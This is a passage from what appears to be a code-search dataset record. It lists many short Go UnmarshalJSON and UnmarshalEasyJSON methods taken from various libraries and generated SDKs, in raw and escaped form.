data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage105(&r, v)\n\treturn r.Error()\n}","func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *AddScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage106(&r, v)\n\treturn r.Error()\n}","func (v *EventApplicationAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(l, v)\n}","func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\n\treturn r.Error()\n}","func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (tok *Token) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\t*tok = Lookup(s)\n\treturn nil\n}","func (v *CreateUserRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson84c0690eDecodeMainHandlers3(&r, v)\n\treturn r.Error()\n}","func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (s *Int64) UnmarshalJSON(b []byte) error {\n\tvals := make([]int64, 0)\n\terr := json.Unmarshal(b, &vals)\n\tif err == nil {\n\t\ts.Add(vals...)\n\t}\n\treturn err\n}","func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}","func (a *Event_Payload) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (a *Meta_Georegion) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (this *Simple) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (v *EventApplicationVariableAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(l, v)\n}","func (this *ImportedReference) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (a *LabelUpdate_Properties) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (v *SyntheticsTestRequestBodyType) UnmarshalJSON(src []byte) error {\n\tvar value string\n\terr := json.Unmarshal(src, &value)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*v = SyntheticsTestRequestBodyType(value)\n\treturn nil\n}","func (a *Secrets) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}","func (v *EventPlayerEventsAdded) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoMedia4(&r, v)\n\treturn r.Error()\n}","func (v *IngredientArr) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\n\treturn r.Error()\n}","func (future *SubAccountCreateFuture) UnmarshalJSON(body []byte) error {\n\tvar azFuture azure.Future\n\tif err := json.Unmarshal(body, &azFuture); err != nil {\n\t\treturn err\n\t}\n\tfuture.FutureAPI = &azFuture\n\tfuture.Result = future.result\n\treturn nil\n}","func (r *AddCustomRuleResponse) FromJsonString(s string) error {\n\treturn json.Unmarshal([]byte(s), &r)\n}","func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}","func (ppbo *PutPropertyBatchOperation) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"Value\":\n\t\t\tif v != nil {\n\t\t\t\tvalue, err := unmarshalBasicPropertyValue(*v)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.Value = value\n\t\t\t}\n\t\tcase \"CustomTypeId\":\n\t\t\tif v != nil {\n\t\t\t\tvar customTypeID string\n\t\t\t\terr = json.Unmarshal(*v, &customTypeID)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.CustomTypeID = &customTypeID\n\t\t\t}\n\t\tcase \"PropertyName\":\n\t\t\tif v != nil {\n\t\t\t\tvar propertyName string\n\t\t\t\terr = json.Unmarshal(*v, &propertyName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.PropertyName = &propertyName\n\t\t\t}\n\t\tcase \"Kind\":\n\t\t\tif v != nil {\n\t\t\t\tvar kind KindBasicPropertyBatchOperation\n\t\t\t\terr = json.Unmarshal(*v, &kind)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tppbo.Kind = kind\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (a *Meta_Up) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\n\treturn r.Error()\n}","func (l *Ledger) UnmarshalJSON(b []byte) error {\n\treturn json.Unmarshal(b, &l.Entries)\n}","func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (adlsp *AddDataLakeStoreParameters) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar addDataLakeStoreProperties AddDataLakeStoreProperties\n\t\t\t\terr = json.Unmarshal(*v, &addDataLakeStoreProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tadlsp.AddDataLakeStoreProperties = &addDataLakeStoreProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (asap *AddStorageAccountParameters) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar addStorageAccountProperties AddStorageAccountProperties\n\t\t\t\terr = json.Unmarshal(*v, &addStorageAccountProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tasap.AddStorageAccountProperties = &addStorageAccountProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *MultipleActivationKeyUpdate) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", m, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"tags\":\n\t\t\terr = unpopulate(val, \"Tags\", &m.Tags)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", m, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *ParamsWithAddPropsParams_P2_Inner) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]string)\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal string\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error unmarshaling field %s: %w\", fieldName, err)\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}","func (j *InstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *EventPipelineStageAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(l, v)\n}","func (v *AddSymbolToWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(l, v)\n}","func (v *item) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeGithubComZhekabyGoGeneratorMongoRequestwrapperTests(&r, v)\n\treturn r.Error()\n}","func (v *AddWeapon) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(l, v)\n}","func (obj *CartAddCustomShippingMethodAction) UnmarshalJSON(data []byte) error {\n\ttype Alias CartAddCustomShippingMethodAction\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tif obj.ShippingRateInput != nil {\n\t\tvar err error\n\t\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *Meta_Requests) UnmarshalJSON(b []byte) error {\n\tobject := make(map[string]json.RawMessage)\n\terr := json.Unmarshal(b, &object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(object) != 0 {\n\t\ta.AdditionalProperties = make(map[string]interface{})\n\t\tfor fieldName, fieldBuf := range object {\n\t\t\tvar fieldVal interface{}\n\t\t\terr := json.Unmarshal(fieldBuf, &fieldVal)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, fmt.Sprintf(\"error unmarshaling field %s\", fieldName))\n\t\t\t}\n\t\t\ta.AdditionalProperties[fieldName] = fieldVal\n\t\t}\n\t}\n\treturn nil\n}","func (v *EventApplicationRepositoryAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\n\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(l, v)\n}","func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}"],"string":"[\n \"func (v *ProductToAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AddRequest) UnmarshalJSON(b []byte) error {\\n\\tvar ar struct {\\n\\t\\tBaseConfig BaseConfig\\n\\t\\tGwConfig GwConfig\\n\\t}\\n\\tif err := json.Unmarshal(b, &ar); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = AddRequest(ar)\\n\\n\\t// validate AddEventRequest DTO\\n\\tif err := a.Validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *EventApplicationAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelineAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationVariableAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationRepositoryAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationKeyAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk20(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationPermissionAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk17(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelineStageAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *EventPipelinePermissionAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk13(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelineParameterAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk17(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelineJobAdd) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk24(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif raw, found := object[\\\"inner\\\"]; found {\\n\\t\\terr = json.Unmarshal(raw, &a.Inner)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error reading 'inner': %w\\\", err)\\n\\t\\t}\\n\\t\\tdelete(object, \\\"inner\\\")\\n\\t}\\n\\n\\tif raw, found := object[\\\"name\\\"]; found {\\n\\t\\terr = json.Unmarshal(raw, &a.Name)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error reading 'name': %w\\\", err)\\n\\t\\t}\\n\\t\\tdelete(object, \\\"name\\\")\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error unmarshaling field %s: %w\\\", fieldName, err)\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *BodyWithAddPropsJSONBody) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif raw, found := object[\\\"inner\\\"]; found {\\n\\t\\terr = json.Unmarshal(raw, &a.Inner)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error reading 'inner': %w\\\", err)\\n\\t\\t}\\n\\t\\tdelete(object, \\\"inner\\\")\\n\\t}\\n\\n\\tif raw, found := object[\\\"name\\\"]; found {\\n\\t\\terr = json.Unmarshal(raw, &a.Name)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error reading 'name': %w\\\", err)\\n\\t\\t}\\n\\t\\tdelete(object, \\\"name\\\")\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error unmarshaling field %s: %w\\\", fieldName, err)\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w *Entry) UnmarshalJSON(bb []byte) error {\\n\\t<>\\n}\",\n \"func (v *ProductToAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjsonD2b7633eDecodeBackendInternalModels1(l, v)\\n}\",\n \"func (v *AddSymbolToWatchlistRequest) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *AddWeapon) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *BodyWithAddPropsJSONBody_Inner) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]int)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal int\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error unmarshaling field %s: %w\\\", fieldName, err)\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpRemove) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Field)\\n}\",\n \"func (a *ActivityReferenceIDAdded) UnmarshalJSON(b []byte) error {\\n\\tvar helper activityReferenceIDAddedUnmarshalHelper\\n\\tif err := json.Unmarshal(b, &helper); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = ActivityReferenceIDAdded(helper.Attributes)\\n\\treturn nil\\n}\",\n \"func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneUpdateLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AddScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy AddScriptToEvaluateOnNewDocumentArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = AddScriptToEvaluateOnNewDocumentArgs(*c)\\n\\treturn nil\\n}\",\n \"func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\\n\\tvar a []string\\n\\tif err := json.Unmarshal(data, &a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn e.Parse(a...)\\n}\",\n \"func (as *AppStorage) ImportJSON(data []byte) error {\\n\\tapd := []appData{}\\n\\tif err := json.Unmarshal(data, &apd); err != nil {\\n\\t\\tlog.Println(\\\"Error unmarshalling app data:\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tfor _, a := range apd {\\n\\t\\tif _, err := as.addNewApp(&AppData{appData: a}); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]string)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal string\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *Total) UnmarshalJSON(b []byte) error {\\n\\tvalue := struct {\\n\\t\\tValue int `json:\\\"value\\\"`\\n\\t\\tRelation string `json:\\\"relation\\\"`\\n\\t}{}\\n\\n\\tif err := json.Unmarshal(b, &value); err == nil {\\n\\t\\t*t = value\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// fallback for Elasticsearch < 7\\n\\tif i, err := strconv.Atoi(string(b)); err == nil {\\n\\t\\t*t = Total{Value: i, Relation: \\\"eq\\\"}\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"could not unmarshal JSON value '%s'\\\", string(b))\\n}\",\n \"func (s *Set) UnmarshalJSON(text []byte) error {\\n\\tvar items []string\\n\\tif err := json.Unmarshal(text, &items); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.AppendSlice(items)\\n\\treturn nil\\n}\",\n \"func (this *Quantity) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (sfu *ServerForUpdate) UnmarshalJSON(body []byte) error {\\n var m map[string]*json.RawMessage\\n err := json.Unmarshal(body, &m)\\n if err != nil {\\n return err\\n }\\n for k, v := range m {\\n switch k {\\n case \\\"sku\\\":\\n if v != nil {\\n var sku Sku\\n err = json.Unmarshal(*v, &sku)\\n if err != nil {\\n return err\\n }\\n sfu.Sku = &sku\\n }\\n case \\\"properties\\\":\\n if v != nil {\\n var serverPropertiesForUpdate ServerPropertiesForUpdate\\n err = json.Unmarshal(*v, &serverPropertiesForUpdate)\\n if err != nil {\\n return err\\n }\\n sfu.ServerPropertiesForUpdate = &serverPropertiesForUpdate\\n }\\n case \\\"tags\\\":\\n if v != nil {\\n var tags map[string]*string\\n err = json.Unmarshal(*v, &tags)\\n if err != nil {\\n return err\\n }\\n sfu.Tags = tags\\n }\\n }\\n }\\n\\n return nil\\n }\",\n \"func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *Ingredient) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels8(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *NewPost) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeGithubComDbProjectPkgModels12(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AddScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy AddScriptToEvaluateOnLoadArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn 